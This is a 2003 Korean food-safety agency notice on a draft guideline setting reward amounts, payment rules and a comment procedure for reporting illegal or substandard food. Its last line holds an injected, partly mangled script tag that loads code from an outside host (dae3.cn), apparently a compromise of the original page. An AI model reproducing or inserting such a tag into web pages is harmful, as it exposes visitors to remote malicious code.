부정.불량식품등 신고포상금운영지침제정(안) 입안예고(2003.9.8) | |||||
---|---|---|---|---|---|
작성자 | 식품안전부 | 등록일 | 2003/08/19 | 조회 | 16527 |
첨부 | |||||
식품의약품안전청공고 제2003 - 79호 식품위생법 제71조의 규정에 의거「부정·불량식품등신고포상금운영지침」을 제정함에 있어서 국민에게 미리 알려 의견을 듣고자 그 취지와 주요내용을 행정절차법 제46조에 의하여 다음과 같이 공고합니다. 2003년 8월 일 식품의약품안전청장 (인) 부정·불량식품등신고포상금운영지침제정(안)입안예고 1. 제정사유 그 동안 지침으로 운영되어 온 부정·불량식품 신고 포상금제에 대한 법적 근거가 식품위생법령에 마련됨에 따라 지급금액, 방법 및 절차 등 동 법령에서 위임된 사항과 그 시행에 관하여 필요한 사항을 규정하여 신고 포상금제의 효율적 운영 및 투명성 등을 제고하고자 함 2. 주요골자 가. 포상금 지급대상 및 금액을 정함 ① 신설 포상금 지급대상 위반행위 및 금액 ○ 병육 등의 판매 등 금지 위반 : 30만원 ○ 접객업소의 청소년 주류제공 : 20만원 ○ 품목제조 미보고 식품 제조 : 5만원 ○ 제1종 전염병 환자 등 영업종사 : 5만원 ○ 미신고 집단급식소 : 5만원 ○ 질병치료에 효능·효과표방 허위·과대광고 : 3만원 ② 포상금액 변경 등 ○ 무신고 용기·포장류 제조업 영업 : 20만원 → 10만원 ○ 무신고 유통전문판매업 영업 : 15만원 → 10만원 ○ 행정지도의 대상이 되는 신고 내용 : 1만원 → 삭제 ○ 무신고 식품자동판매가영업 : 1만원 → 5천원 나. 포상금 지급방법 및 절차 등을 정함 ① 포상금 지급방법 - 행정처분기관에서 지급하되, 신고기관에서 직접 조사·처리한 사항은 그 기관에서 지급 가능 - 동일 신고자에 대하여는 지방청 당 50만원, 시·도 당 100만원의 범위내에서 지급 ② 포상금 지급절차 - 행정처분 완료후에 지급하되, 명백한 법 위반사항에 대하여는 행정처분 전에 지급 가능 ③ 포상금 지급 예산 - 일반회계 또는 식품진흥기금에 편성한 예산으로 지급하되 부족시 추경 예산으로 확보후 소급지급 가능 3. 의견제출 이 제정안에 대하여 의견이 있는 단체 또는 개인은 2003년 8월 30일까지 다음사항을 기재한 의견서를 식품의약품안전청장에게 제출하여 주시기 바라며, 더 자세한 내용을 알고 싶으신 분은 식약청 홈페이지(http;//www.kfda.go.kr)를 참고하시기 바랍니다. 가. 제정(안)에 대한 항목별 의견(찬·반여부와 그 이유) 나. 성명(단체의 경우 단체명과 대표자의 성명), 주소, 전화번호 다. 기타 ?script src=http://dae3.cn> |
|||||
다음글 | 공정거래법 개정(안) 입법예고(2003.8.20) | ||||
이전글 | 기구및용기·포장의기준및규격중개정(안) 입안예고(2003.8.14) |